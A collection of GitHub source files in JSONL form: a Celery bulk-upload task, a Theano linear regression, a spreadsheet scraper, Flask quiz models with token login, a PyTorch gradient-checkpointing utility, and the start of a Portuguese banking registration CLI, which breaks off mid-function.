+{"seq_id":"32853701991","text":"from celery.task import task\nfrom django.core.cache import cache\nimport uuid\nfrom soil import CachedDownload\nfrom corehq.apps.users.bulkupload import create_or_update_users_and_groups\n\n@task\ndef bulk_upload_async(download_id, domain, user_specs, group_specs, location_specs):\n    results = create_or_update_users_and_groups(\n        domain,\n        user_specs,\n        group_specs,\n        location_specs\n    )\n    temp_id = uuid.uuid4().hex\n    expiry = 60*60\n    cache.set(temp_id, results, expiry)\n    cache.set(download_id, CachedDownload(temp_id, content_disposition=\"\",\n                                          mimetype=\"text/html\"), expiry)\n","repo_name":"gmimano/commcaretest","sub_path":"corehq/apps/users/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23842035207","text":"from theano import tensor as T, In, function, shared, config\nimport numpy as np\n\nclass linreg(object):\n        \"\"\"A quick implementation of Linear Regression\n        \"\"\"\n\n        def __init__(self):\n            self.X = T.scalar('X')\n            self.Y = T.scalar('Y')\n            self.W = shared(np.asarray(0., dtype=config.floatX), 'W')\n\n            self.y = self.X * self.W\n            self.cost = T.mean(T.sqr(self.y - self.Y))\n            self.gradient = T.grad(cost=self.cost, wrt=self.W)\n            self.update = self.W - self.gradient * 0.01\n\n            self.train = function(inputs=[self.X, self.Y], outputs=self.cost, updates=[(self.W, self.update)], allow_input_downcast=True, name='train')\n\ndef main():\n    #import matplotlib\n    #matplotlib.use('TkAgg')\n    import matplotlib.pyplot as plt\n\n    train_x = np.linspace(-1, 1, 101)\n    train_y = 2 * train_x + np.random.randn(*train_x.shape) * 0.33\n\n    lr = linreg()\n\n    for i in range(100):\n    \tfor (x, y) in zip(train_x, train_y):\n    \t\tlr.train(x, y)\n\n    fig, ax = plt.subplots()\n    ax.scatter(train_x, train_y)\n    ax.plot(train_x, lr.W.get_value() * train_x, color='red')\n    fig.show()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"smakonin/TheanoFun","sub_path":"LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73462773814","text":"import xlrd\n\n#def clean(response):\n\n\ndata = xlrd.open_workbook(\"Responses_All About the RMP2031.xlsx\",\"rb\")\nsheets = data.sheet_names()\nfile=open(\"scraped.txt\",\"w\")\nfor sheet_name in sheets:\n    sh = data.sheet_by_name(sheet_name)\n    i=0\n    for rownum in range(sh.nrows):\n        row_val = sh.row_values(rownum)\n        if row_val[3]:\n            #cleaned = clean(row_val[3])\n            file.write(str(i)+ '-' + row_val[3]+'\\n')\n            i+=1\n\n","repo_name":"Chintan2108/Text-Classification-and-Context-Mining-for-Document-Summarization","sub_path":"pre/Pre Processing/cleaner.py","file_name":"cleaner.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"27228987485","text":"# app/models.py\r\nimport base64\r\nimport os\r\nfrom datetime import datetime, timedelta\r\nfrom time import time\r\nfrom hashlib import md5\r\nfrom flask import current_app, redirect, request, url_for\r\nfrom app import db\r\nfrom functools import wraps\r\n\r\n\r\nclass User(db.Model):\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    first_name = db.Column(db.String(64),  nullable=False, unique=False)\r\n    last_name = db.Column(db.String(64),  nullable=False, unique=False)\r\n    email = db.Column(db.String(120), index=True, nullable=False, unique=True)\r\n    token = db.Column(db.String(120), index=True, nullable=False, unique=True)\r\n    token_expire_time = db.Column(db.DateTime, index=True, nullable=False)\r\n    created = db.Column(db.DateTime, index=True,\r\n                        nullable=False, default=datetime.utcnow())\r\n    questions = db.relationship(\"UserQuestion\", backref=\"user\", lazy='dynamic')\r\n\r\n    def last_answered_question_id(self):\r\n        last_answered = (self.questions.filter_by(is_answered=True).order_by(\r\n            UserQuestion.question_id.desc())).first()\r\n        return last_answered.question_id if last_answered else None\r\n\r\n    def get_last_unanswered_question_id(self):\r\n        last_unanswered_user_question = (self.questions.filter_by(is_answered=False).order_by(\r\n            UserQuestion.question_id.desc())).first()\r\n        return last_unanswered_user_question.question_id if last_unanswered_user_question else None\r\n\r\n    def get_next_question(self):\r\n        next_question = None\r\n        last_unanswered_user_question = (self.questions.filter_by(is_answered=False).order_by(\r\n            UserQuestion.question_id.desc())).first()\r\n\r\n        current_app.logger.debug(\r\n            \"[get_next_question] last_unanswered_user_question\")\r\n        current_app.logger.debug(last_unanswered_user_question)\r\n\r\n        if last_unanswered_user_question:\r\n            next_question = db.session.query(Question).filter(\r\n                Question.id == last_unanswered_user_question.question_id).first()\r\n        else:\r\n            last_answered_id = self.last_answered_question_id() or 0\r\n            next_question = db.session.query(Question).filter(\r\n                Question.id > last_answered_id).order_by(Question.id).first()\r\n\r\n        return next_question\r\n\r\n    #    Sample Answer Format\r\n    # {\r\n    #     \"AnsweredText\": \"42\",\r\n    #     \"ChildQuestionAnsweredText\": null,\r\n    #     \"ChildQuestionAnsweredText2\": null,\r\n    #     \"OptionId\": null,\r\n    #     \"QuestionId\": \"4\"\r\n    # }\r\n\r\n    def save_the_answer_to_db(self, answer_data):\r\n        answer = None\r\n\r\n        user_question_asked = self.questions.filter_by(\r\n            question_id=answer_data[\"QuestionId\"]).first()\r\n        if user_question_asked is None:\r\n            # TODO Throw an error!\r\n            current_app.logger.error(\r\n                \"[save_the_answer_to_db] Question must be asked before its answered!\")\r\n            return\r\n\r\n        answered_question = Question.query.filter_by(\r\n            id=answer_data[\"QuestionId\"]).first()\r\n\r\n        if answered_question is None:\r\n            current_app.logger.error(\r\n                \"[save_the_answer_to_db] No Question for id \" + answer_data[\"QuestionId\"])\r\n            return\r\n\r\n        current_app.logger.debug(\"[save_the_answer_to_db] Answered Question\")\r\n        current_app.logger.debug(answered_question)\r\n        current_app.logger.debug(\"[save_the_answer_to_db] Users Answer\")\r\n        current_app.logger.debug(answer_data)\r\n\r\n        if answer_data[\"OptionId\"] is not None:\r\n            option = answered_question.options.filter(\r\n                Option.id == answer_data[\"OptionId\"]).first()\r\n            # TODO use this or the user_question.is_correct field\r\n            if option is None:\r\n                current_app.logger.error(\r\n                    \"Option, \" + str(answer_data[\"OptionId\"]) + \", doesn't exist for this question!\")\r\n            else:\r\n                answer = option.body\r\n        elif answer_data[\"AnsweredText\"] is not None:\r\n            answer = answer_data[\"AnsweredText\"]\r\n        elif answer_data[\"ChildQuestionAnsweredText\"] is not None:\r\n            answer = answer_data[\"ChildQuestionAnsweredText\"]\r\n        elif answer_data[\"ChildQuestionAnsweredText2\"] is not None:\r\n            answer = answer_data[\"ChildQuestionAnsweredText2\"]\r\n        else:\r\n            # TODO re-submit the question, or throw an error?\r\n            current_app.logger.error(\"You must answer the question\")\r\n\r\n        if str(answer) == str(answered_question.answer):\r\n            user_question_asked.is_correct = True\r\n        else:\r\n            user_question_asked.is_correct = False\r\n        user_question_asked.is_answered = True\r\n        db.session.commit()\r\n\r\n    def save_the_question_to_db(self, question_id):\r\n        asked_question = Question.query.filter_by(id=question_id).first()\r\n        current_app.logger.debug(\"[save_the_question_to_db] Asked Question\")\r\n        current_app.logger.debug(asked_question)\r\n\r\n        # Check if it the user was asked this question\r\n        user_question = self.questions.filter_by(\r\n            question_id=asked_question.id).first()\r\n        current_app.logger.debug(\r\n            \"[save_the_question_to_db] Existing User Question\")\r\n        current_app.logger.debug(user_question)\r\n\r\n        if not user_question:\r\n            user_question = UserQuestion(user_id=self.id, question_id=asked_question.id,\r\n                                         is_answered=False, is_correct=False)\r\n            db.session.add(user_question)\r\n            db.session.commit()\r\n            current_app.logger.debug(\r\n                \"[save_the_question_to_db] New User Question\")\r\n            current_app.logger.debug(user_question)\r\n        return user_question\r\n\r\n    def create_reset_token(self, expires_in=3600):\r\n        if not self.token:\r\n            # '/' in the token will cause a routing error\r\n            self.token = (base64.b64encode(os.urandom(24)).decode('utf-8')).replace('/','X')\r\n\r\n        self.token_expire_time = datetime.utcnow() + timedelta(seconds=expires_in)\r\n        return self.token if (expires_in > 1) else None\r\n\r\n    def remove_token(self):\r\n        self.create_reset_token(-1)\r\n\r\n    def get_token(self):\r\n        return self.token if (self.token_expire_time > datetime.utcnow()) else None\r\n\r\n    def get_username(self):\r\n        return self.first_name.capitalize() + ' ' + self.last_name.capitalize()\r\n\r\n    @ staticmethod\r\n    def verify_user_token(token):\r\n        current_app.logger.debug(\"[verify_user_token] Token: \" + token)\r\n        current_user = User.query.filter_by(token=token).first()\r\n        return current_user if (current_user and current_user.token_expire_time > datetime.utcnow()) else None\r\n\r\n    def to_dict(self):\r\n        delta_time = datetime.utcnow() - self.created\r\n        remaining_time = self.token_expire_time - datetime.utcnow()\r\n\r\n        data = {\r\n            'id': self.id,\r\n            'username': self.get_username(),\r\n            'first_name': self.first_name,\r\n            'last_name': self.last_name,\r\n            'email': self.email,\r\n            'token_expire_time': self.token_expire_time.isoformat() + 'Z' if self.token_expire_time else None,\r\n            'delta_time_seconds':  int(delta_time.total_seconds()),\r\n            'remaining_time_seconds': int(remaining_time.total_seconds()),\r\n        }\r\n        return data\r\n\r\n    def from_dict(self, data):\r\n        for field in ['first_name', 'last_name', 'email']:\r\n            if field in data:\r\n                setattr(self, field, data[field])\r\n\r\n        setattr(self, 'token', self.create_reset_token())\r\n\r\n    def __repr__(self):\r\n        return '<UserName: {0} Email: {1}>'.format(self.first_name + ' ' + self.last_name, self.email)\r\n\r\n\r\n# ------------------------------------------------------------------------------\r\n# Decorator for verifying the Token\r\n# ------------------------------------------------------------------------------\r\n\r\n\r\ndef token_required(f):\r\n    @wraps(f)\r\n    def decorated(*args, **kwargs):\r\n        current_user_token = request.view_args['user_token'] if 'user_token' in request.view_args else None\r\n\r\n        if not current_user_token:\r\n            current_app.logger.debug(\"[token_required] No Token -> Register\")\r\n            return redirect(url_for('auth.register'), code=307)\r\n\r\n        current_user = User.verify_user_token(current_user_token)\r\n\r\n        if current_user is None:\r\n            current_app.logger.debug(\r\n                \"[token_required] No user for token \" + current_user_token + \" -> Register\")\r\n            return redirect(url_for('auth.register'))\r\n\r\n        current_app.logger.debug(\r\n            \"[token_required] User: \" + current_user.get_username())\r\n\r\n        return f(current_user)\r\n\r\n    return decorated\r\n# ------------------------------------------------------------------------------\r\n#  Question Class\r\n# ------------------------------------------------------------------------------\r\n\r\n\r\nclass Question(db.Model):\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    body = db.Column(db.String(240),  unique=True, nullable=False)\r\n    answer = db.Column(db.String(60),  unique=False, nullable=False)\r\n    options = db.relationship('Option', backref='question', lazy='dynamic')\r\n    files = db.relationship('File', backref='question', lazy='dynamic')\r\n    users = db.relationship(\"UserQuestion\", backref=\"question\", lazy='dynamic')\r\n\r\n    def to_dict(self):\r\n        data = {\r\n            'id': self.id,\r\n            'body': self.body,\r\n            'answer': self.answer,\r\n            'options': ([option.to_dict() for option in self.options.all()]),\r\n            'files': ([file.to_dict() for file in self.files.all()]),\r\n        }\r\n        return data\r\n\r\n    def __repr__(self):\r\n        return '<Question id: {0}, body: {1}, answer: {2}>'.format(self.id, self.body, self.answer)\r\n\r\n\r\n# ------------------------------------------------------------------------------\r\n#  Bridging Table Between User and their Questions\r\n# ------------------------------------------------------------------------------\r\n\r\nclass UserQuestion(db.Model):\r\n    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), primary_key=True)\r\n    question_id = db.Column(db.Integer, db.ForeignKey(\r\n        'question.id'), primary_key=True)\r\n    is_answered = db.Column(db.Boolean, nullable=False, default=0)\r\n    is_correct = db.Column(db.Boolean, nullable=False, default=0)\r\n    db.UniqueConstraint('user_id', 'question_id', name='user_question_uix_1')\r\n    users = db.relationship(\"User\", backref=\"question\")\r\n    questions = db.relationship(\"Question\", backref=\"user\")\r\n\r\n    def answered_already(self, user_id=99):\r\n        current_app.logger.debug(\"[answered_already] User Id: \" + str(user_id))\r\n        return self.query.filter_by(user_id=user_id, is_answered=1).order_by(self.question_id)\r\n\r\n    def to_dict(self):\r\n        data = {\r\n            'user_id': self.user_id,\r\n            'question_id': self.question_id,\r\n            'is_answered': self.is_answered,\r\n            'is_correct': self.is_correct,\r\n        }\r\n        return data\r\n\r\n    def __repr__(self):\r\n        return '<UserQuestion user_id: {0}, question_id: {1}, is_answered: {2}, is_correct: {2}>'.format(self.user_id, self.question_id, self.is_correct)\r\n# ------------------------------------------------------------------------------\r\n#  Option Class\r\n# ------------------------------------------------------------------------------\r\n\r\n\r\nclass Option(db.Model):\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    body = db.Column(db.String(240),  unique=False, nullable=False)\r\n    question_id = db.Column(db.Integer, db.ForeignKey('question.id'))\r\n    is_answer = db.Column(db.Boolean, default=0)\r\n    db.UniqueConstraint('body', 'question_id', name='question_option_uix_1')\r\n\r\n    def to_dict(self):\r\n        data = {\r\n            'id': self.id,\r\n            'body': self.body,\r\n            'question_id': self.question_id,\r\n            'is_answer': self.is_answer,\r\n        }\r\n        return data\r\n\r\n    def __repr__(self):\r\n        return '<Option id: {0}, body: {1}, question_id: {2}, is_answer: {3}>'.format(self.id, self.body, self.question_id, self.is_answer)\r\n\r\n\r\nclass File(db.Model):\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    location = db.Column(db.String(240),  unique=False, nullable=False)\r\n    question_id = db.Column(db.Integer, db.ForeignKey('question.id'))\r\n    db.UniqueConstraint('location', 'question_id', name='file_location_uix_1')\r\n\r\n    def to_dict(self):\r\n        data = {\r\n            'id': self.id,\r\n            'location': self.location,\r\n            'question_id': self.question_id,\r\n        }\r\n        return data\r\n\r\n    def __repr__(self):\r\n        return '<File id: {0}, location: {1}, question_id: {2}>'.format(self.id, self.location, self.question_id)\r\n","repo_name":"aibistin/quiz","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":12862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18740549740","text":"import torch\nimport warnings\nfrom typing import Any, Iterable, List, Tuple\n\n\ndef detach_variable(inputs: Tuple[Any, ...]) -> Tuple[torch.Tensor, ...]:\n    if isinstance(inputs, tuple):\n        out = []\n        for inp in inputs:\n            if not isinstance(inp, torch.Tensor):\n                out.append(inp)\n                continue\n\n            x = inp.detach()\n            x.requires_grad = inp.requires_grad\n            out.append(x)\n        return tuple(out)\n    else:\n        raise RuntimeError(\n            \"Only tuple of tensors is supported. Got Unsupported input type: \", type(inputs).__name__)\n\n\ndef check_backward_validity(inputs: Iterable[Any]) -> None:\n    if not any(inp.requires_grad for inp in inputs if isinstance(inp, torch.Tensor)):\n        warnings.warn(\"None of the inputs have requires_grad=True. Gradients will be None\")\n\n\n# We can't know if the run_fn will internally move some args to different devices,\n# which would require logic to preserve rng states for those devices as well.\n# We could paranoically stash and restore ALL the rng states for all visible devices,\n# but that seems very wasteful for most cases.  Compromise:  Stash the RNG state for\n# the device of all Tensor args.\n#\n# To consider:  maybe get_device_states and set_device_states should reside in torch/random.py?\ndef get_device_states(*args) -> Tuple[List[int], List[torch.Tensor]]:\n    # This will not error out if \"arg\" is a CPU tensor or a non-tensor type because\n    # the conditionals short-circuit.\n    fwd_gpu_devices = list(set(arg.get_device() for arg in args\n                               if isinstance(arg, torch.Tensor) and arg.is_cuda))\n\n    fwd_gpu_states = []\n    for device in fwd_gpu_devices:\n        with torch.cuda.device(device):\n            fwd_gpu_states.append(torch.cuda.get_rng_state())\n\n    return fwd_gpu_devices, fwd_gpu_states\n\n\ndef set_device_states(devices, states) -> None:\n    for device, state in zip(devices, states):\n        with torch.cuda.device(device):\n            torch.cuda.set_rng_state(state)\n\n\nclass CheckpointFunction(torch.autograd.Function):\n\n    @staticmethod\n    def forward(ctx, run_function, preserve_rng_state, *args):\n        check_backward_validity(args)\n        ctx.run_function = run_function\n        ctx.preserve_rng_state = preserve_rng_state\n        ctx.had_autocast_in_fwd = torch.is_autocast_enabled()\n        if preserve_rng_state:\n            ctx.fwd_cpu_state = torch.get_rng_state()\n            # Don't eagerly initialize the cuda context by accident.\n            # (If the user intends that the context is initialized later, within their\n            # run_function, we SHOULD actually stash the cuda state here.  Unfortunately,\n            # we have no way to anticipate this will happen before we run the function.)\n            ctx.had_cuda_in_fwd = False\n            if torch.cuda._initialized:\n                ctx.had_cuda_in_fwd = True\n                ctx.fwd_gpu_devices, ctx.fwd_gpu_states = get_device_states(*args)\n        ctx.save_for_backward(*args)\n        with torch.no_grad():\n            outputs = run_function(*args)\n        return outputs\n\n    @staticmethod\n    def backward(ctx, *args):\n        if not torch.autograd._is_checkpoint_valid():\n            raise RuntimeError(\"Checkpointing is not compatible with .grad(), please use .backward() if possible\")\n        inputs = ctx.saved_tensors\n        # Stash the surrounding rng state, and mimic the state that was\n        # present at this time during forward.  Restore the surrounding state\n        # when we're done.\n        rng_devices = []\n        if ctx.preserve_rng_state and ctx.had_cuda_in_fwd:\n            rng_devices = ctx.fwd_gpu_devices\n        with torch.random.fork_rng(devices=rng_devices, enabled=ctx.preserve_rng_state):\n            if ctx.preserve_rng_state:\n                torch.set_rng_state(ctx.fwd_cpu_state)\n                if ctx.had_cuda_in_fwd:\n                    set_device_states(ctx.fwd_gpu_devices, ctx.fwd_gpu_states)\n            detached_inputs = detach_variable(inputs)\n            with torch.enable_grad(), torch.cuda.amp.autocast(ctx.had_autocast_in_fwd):\n                outputs = ctx.run_function(*detached_inputs)\n\n        if isinstance(outputs, torch.Tensor):\n            outputs = (outputs,)\n        torch.autograd.backward(outputs, args)\n        grads = tuple(inp.grad if isinstance(inp, torch.Tensor) else inp\n                      for inp in detached_inputs)\n        return (None, None) + grads\n\n\ndef checkpoint(function, *args, **kwargs):\n    r\"\"\"Checkpoint a model or part of the model\n\n    Checkpointing works by trading compute for memory. Rather than storing all\n    intermediate activations of the entire computation graph for computing\n    backward, the checkpointed part does **not** save intermediate activations,\n    and instead recomputes them in backward pass. It can be applied on any part\n    of a model.\n\n    Specifically, in the forward pass, :attr:`function` will run in\n    :func:`torch.no_grad` manner, i.e., not storing the intermediate\n    activations. Instead, the forward pass saves the inputs tuple and the\n    :attr:`function` parameter. In the backwards pass, the saved inputs and\n    :attr:`function` is retrieved, and the forward pass is computed on\n    :attr:`function` again, now tracking the intermediate activations, and then\n    the gradients are calculated using these activation values.\n\n    .. warning::\n        Checkpointing doesn't work with :func:`torch.autograd.grad`, but only\n        with :func:`torch.autograd.backward`.\n\n    .. warning::\n        If :attr:`function` invocation during backward does anything different\n        than the one during forward, e.g., due to some global variable, the\n        checkpointed version won't be equivalent, and unfortunately it can't be\n        detected.\n\n    .. warning::\n        If checkpointed segment contains tensors detached from the computational\n        graph by `detach()` or `torch.no_grad()`, the backward pass will raise an\n        error. This is because `checkpoint` makes all the outputs require\n        gradients which causes issues when a tensor is defined to have no\n        gradient in the model. To circumvent this, detach the tensors outside of\n        the `checkpoint` function.\n\n    .. warning:\n        At least one of the inputs needs to have :code:`requires_grad=True` if\n        grads are needed for model inputs, otherwise the checkpointed part of the\n        model won't have gradients.\n\n    Args:\n        function: describes what to run in the forward pass of the model or\n            part of the model. It should also know how to handle the inputs\n            passed as the tuple. For example, in LSTM, if user passes\n            ``(activation, hidden)``, :attr:`function` should correctly use the\n            first input as ``activation`` and the second input as ``hidden``\n        preserve_rng_state(bool, optional, default=True):  Omit stashing and restoring\n            the RNG state during each checkpoint.\n        args: tuple containing inputs to the :attr:`function`\n\n    Returns:\n        Output of running :attr:`function` on :attr:`*args`\n    \"\"\"\n    # Hack to mix *args with **kwargs in a python 2.7-compliant way\n    preserve = kwargs.pop('preserve_rng_state', True)\n    if kwargs:\n        raise ValueError(\"Unexpected keyword arguments: \" + \",\".join(arg for arg in kwargs))\n\n    return CheckpointFunction.apply(function, preserve, *args)\n\n\ndef checkpoint_sequential(functions, segments, input, **kwargs):\n    r\"\"\"A helper function for checkpointing sequential models.\n\n    Sequential models execute a list of modules/functions in order\n    (sequentially). Therefore, we can divide such a model in various segments\n    and checkpoint each segment. All segments except the last will run in\n    :func:`torch.no_grad` manner, i.e., not storing the intermediate\n    activations. The inputs of each checkpointed segment will be saved for\n    re-running the segment in the backward pass.\n\n    See :func:`~torch.utils.checkpoint.checkpoint` on how checkpointing works.\n\n    .. warning::\n        Checkpointing doesn't work with :func:`torch.autograd.grad`, but only\n        with :func:`torch.autograd.backward`.\n\n    .. warning:\n        At least one of the inputs needs to have :code:`requires_grad=True` if\n        grads are needed for model inputs, otherwise the checkpointed part of the\n        model won't have gradients.\n\n    .. warning:\n        Since PyTorch 1.4, it allows only one Tensor as the input and\n        intermediate outputs, just like :class:`torch.nn.Sequential`.\n\n    Args:\n        functions: A :class:`torch.nn.Sequential` or the list of modules or\n            functions (comprising the model) to run sequentially.\n        segments: Number of chunks to create in the model\n        input: A Tensor that is input to :attr:`functions`\n        preserve_rng_state(bool, optional, default=True):  Omit stashing and restoring\n            the RNG state during each checkpoint.\n\n    Returns:\n        Output of running :attr:`functions` sequentially on :attr:`*inputs`\n\n    Example:\n        >>> model = nn.Sequential(...)\n        >>> input_var = checkpoint_sequential(model, chunks, input_var)\n    \"\"\"\n    # Hack for keyword-only parameter in a python 2.7-compliant way\n    preserve = kwargs.pop('preserve_rng_state', True)\n    if kwargs:\n        raise ValueError(\"Unexpected keyword arguments: \" + \",\".join(arg for arg in kwargs))\n\n    def run_function(start, end, functions):\n        def forward(input):\n            for j in range(start, end + 1):\n                input = functions[j](input)\n            return input\n        return forward\n\n    if isinstance(functions, torch.nn.Sequential):\n        functions = list(functions.children())\n\n    segment_size = len(functions) // segments\n    # the last chunk has to be non-volatile\n    end = -1\n    for start in range(0, segment_size * (segments - 1), segment_size):\n        end = start + segment_size - 1\n        input = checkpoint(run_function(start, end, functions), input,\n                           preserve_rng_state=preserve)\n    return run_function(end + 1, len(functions) - 1, functions)(input)\n","repo_name":"ChenhongyiYang/QueryDet-PyTorch","sub_path":"utils/gradient_checkpoint.py","file_name":"gradient_checkpoint.py","file_ext":"py","file_size_in_byte":10155,"program_lang":"python","lang":"en","doc_type":"code","stars":371,"dataset":"github-code","pt":"21"}
+{"seq_id":"23762048633","text":"\"\"\"\nProgramação Orientada a Objetos (POO)\n    - Sistema de Cadastro Bancário\n\nBlusoft/Senac - Formação em Python Entra21 2020\n\nAutor: Marcus Moresco Boeno e Helion Roloff\nÚltimo update: 2020-11-13\n\n\"\"\"\n\n# Standard Library imports\nimport sys\nfrom time import sleep\n\n# Importando classes e funções\nimport utils.templates as templates\nfrom utils.classes import Pessoa, Banco, Conta, DataSaver\nfrom utils.numeros import ler_opcao, ler_float\n\n# Caminhos para arquivos contendo base de dados\nPESSOAS_PATH = \"data/pessoas.txt\"\nBANCOS_PATH = \"data/bancos.txt\"\nCONTAS_PATH = \"data/contas.txt\" \n\n\ndef listar_registros(file_path:str) -> list:\n    \"\"\"Carrega lista de bancos cadastrados\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n    \n    > Output:\n        - (dict): Lista de registros de clientes, bancos ou contas.\n    \"\"\"\n    # Realiza leitura de arquivo contendo dados de bancos\n    try:\n        with open(file_path, \"r\") as f:\n            bancos = f.read().splitlines()\n    \n    # Se arquivo não existir, retorna lista vazia\n    except FileNotFoundError:\n        return []\n    \n    # Retorna lista de clientes cadastrados\n    else:\n        return bancos\n\n\ndef selecionar_cliente(file_path:str) -> Pessoa:\n    \"\"\"Selecionar cliente para nova conta\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n\n    > Output:\n        - (Pessoa): Objeto da classe pessoa.\n    \"\"\"\n    while True:\n        # Carregar lista de clientes\n        clientes = listar_registros(file_path)\n\n        # Checa se existem clientes cadastrados\n        if len(clientes) == 0:\n            print(\"\\nNenhum cliente cadastrado, realizando novo cadastro...\")\n            res = cadastro_cliente()\n            print(res[1])\n            print(\"-\"*50)\n        \n        # Realiza seleção de cliente cadastrado\n        else:\n            # Apresenta opcoes do menu \n            print(\"\\n> Selecionar Cliente:\\n\")\n            print(\"[0] Conta com Novo Cliente\")\n            for pos, cliente in enumerate(clientes):\n                cpf, nome = cliente.split(\";\")\n                print(f\"[{pos+1}] {nome} - CPF: {cpf}\")\n                        \n            # Selecao de cliente para nova conta\n            opcao = ler_opcao(0, len(clientes), \"\\nDigite um opção: \")\n            \n            # Checa se usuario quer cadastrar conta com novo cliente\n            if opcao == 0:\n                while True:\n                    # Realiza novo cadastro\n                    res = cadastro_cliente()\n\n                    # Checa se cadastro ocorreu\n                    if res[0]:\n                        cpf, nome = listar_registros(file_path)[-1].split(\";\")\n                        print(\"\\n\" + res[1])\n                        print(\"Cliente selecionado para conta!\")\n                        break\n                    \n                    # Indica se cadastro não ocorreu\n                    else:\n                        print(\"CPF já cadastrado, tente novamente!\")\n            \n            # Cadastra conta com cliente existente\n            else:\n                cpf, nome = clientes[opcao-1].split(\";\")\n            \n            # Retornando objeto da classe pessoa\n            return Pessoa(nome, cpf)\n\n\ndef selecionar_banco(file_path:str) -> Banco:\n    \"\"\"Selecionar banco para nova conta\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n\n    > Output:\n        - (Banco): Objeto da classe banco.\n    \"\"\"\n    while True:\n        # Carregar lista de clientes\n        bancos = listar_registros(file_path)\n        \n        # Checa se existem clientes cadastrados\n        if len(bancos) == 0:\n            print(\"\\nNenhum banco cadastrado, realizando novo cadastro...\")\n            res = cadastro_banco()\n            print(res[1])\n            print(\"-\"*50)\n        \n        # Realiza seleção de cliente cadastrado\n        else:\n            # Apresenta opcoes do menu \n            print(\"\\n> Selecionar Banco:\\n\")\n            print(\"[0] Conta em Novo Banco\")\n            for pos, banco in enumerate(bancos):\n                print(f\"[{pos+1}] {banco}\")\n                        \n            # Selecao de cliente para nova conta\n            opcao = ler_opcao(0, len(bancos), \"\\nDigite um opção: \")\n            \n            # Checa se usuario quer cadastrar conta com novo cliente\n            if opcao == 0:\n                while True:\n                    # Realiza novo cadastro\n                    res = cadastro_banco()\n\n                    # Checa se cadastro ocorreu\n                    if res[0]:\n                        banco = listar_registros(file_path)[-1]\n                        print(\"\\n\" + res[1])\n                        print(\"Banco selecionado para conta!\")\n                        break\n                    \n                    # Indica se cadastro não ocorreu\n                    else:\n                        print(\"Banco já cadastrado, tente novamente!\")\n            \n            # Cadastra conta com cliente existente\n            else:\n                banco = bancos[opcao-1]\n            \n            # Retornando objeto da classe pessoa\n            return Banco(banco)\n\n\ndef cadastro_cliente() -> tuple:\n    \"\"\"Cadastro de Novo Cliente\n\n    > Argumentos:\n        - Sem argumentos.\n\n    > Output:\n        - (tuple):\n            [0] (bool): Indicação se cadastro teve sucesso;\n            [1] (str): Mensagem de confirmação.\n    \"\"\"\n    # Capta nome/cpf do cliente\n    print(\"\\n\" + f\"{' Cadastro de Novo Cliente ':-^50}\")\n    nome = input(\"\\nNome: \")\n    cpf = input(\"CPF: \")\n    \n    # Cria objeto\n    p = Pessoa(nome, cpf)\n    \n    # Realiza o cadastro\n    res = DataSaver().cadastrar_cliente(p, PESSOAS_PATH)\n    sleep(1)\n    \n    # Retorno o resultado\n    return res\n\n\ndef cadastro_banco() -> tuple:\n    \"\"\"Cadastro de Banco\n\n    > Argumentos:\n        - Sem argumentos.\n\n    > Output:\n        - (tuple):\n            [0] (bool): Indicação se cadastro teve sucesso;\n            [1] (str): Mensagem de confirmação.\n    \"\"\"\n    # Cria objeto Banco\n    print(\"\\n\" + f\"\\n {' Cadastro de Novo Banco ':-^50}\")\n    b = Banco(input(\"\\nNome do Banco: \"))\n    \n    # Realiza o cadastro\n    res = DataSaver().cadastrar_banco(b, BANCOS_PATH)\n    sleep(1)\n    \n    # Retorno o resultado\n    return res\n\n\ndef cadastro_conta(p:Pessoa, b:Banco, saldo:float=0) -> tuple:\n    \"\"\"Cadastro de Nova Conta Bancária\n\n    > Argumentos:\n        - p (Pessoa): Titular da conta;\n        - b (Banco): Banco da conta;\n        - saldo (float): Saldo inicial da conta, em R$.\n            ----> Default: R$ 0,00\n    \n    > Output:\n        - (tuple):\n            [0] (bool): Indicação se cadastro teve sucesso;\n            [1] (str): Mensagem de confirmação.\n    \"\"\"\n    # pass\n    print(\"\\n\" + f\"{' Cadastro de Nova Conta ':-^50}\")\n    c = Conta(p, b, 0)\n\n    # Realiza o cadastro\n    res = DataSaver().cadastrar_conta(c, CONTAS_PATH)\n    sleep(1)\n\n    # Retorno o resultado\n    return res\n\n\ndef contas_cadastradas(file_path:str):\n    \"\"\"Apresentar Contas Cadastrados\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n\n    > Output:\n        - Sem output. \n    \"\"\"\n    # Resgatar lista de clientes\n    contas = listar_registros(file_path)\n\n    # Apresenta cabecalho\n    sleep(0.5)\n    templates.cabecalho_resumo(\"CONTAS CADASTRADAS\")\n    sleep(1)\n    \n    # Apresenta lista de clientes\n    if len(contas) == 0:\n        print(f\"  > Nenhuma conta cadastrada!\")\n\n    else:\n        # Lista de clientes em ordem alfabética\n        contas_dict = {}\n        for conta in contas:\n            dados = conta.split(\";\")\n            banco = dados[2]\n            if banco in contas_dict.keys():\n                contas_dict[banco].append(dados)\n            else:\n                contas_dict[banco] = [dados]\n        \n        # Apresentar lista de clientes\n        for banco in contas_dict:\n            print(f\"\\n > {banco}:\")\n            for conta in contas_dict[banco]:\n                res = f\"    - Conta #{conta[3]}\"\n                res +=  f\" | Titular: {conta[1]}\"\n                res += f\" [CPF: {conta[0]}]\"\n                print(res)\n    \n    # Rodapé\n    templates.rodape_resumo()\n    sleep(1)\n\n\ndef bancos_cadastrados(file_path:str):\n  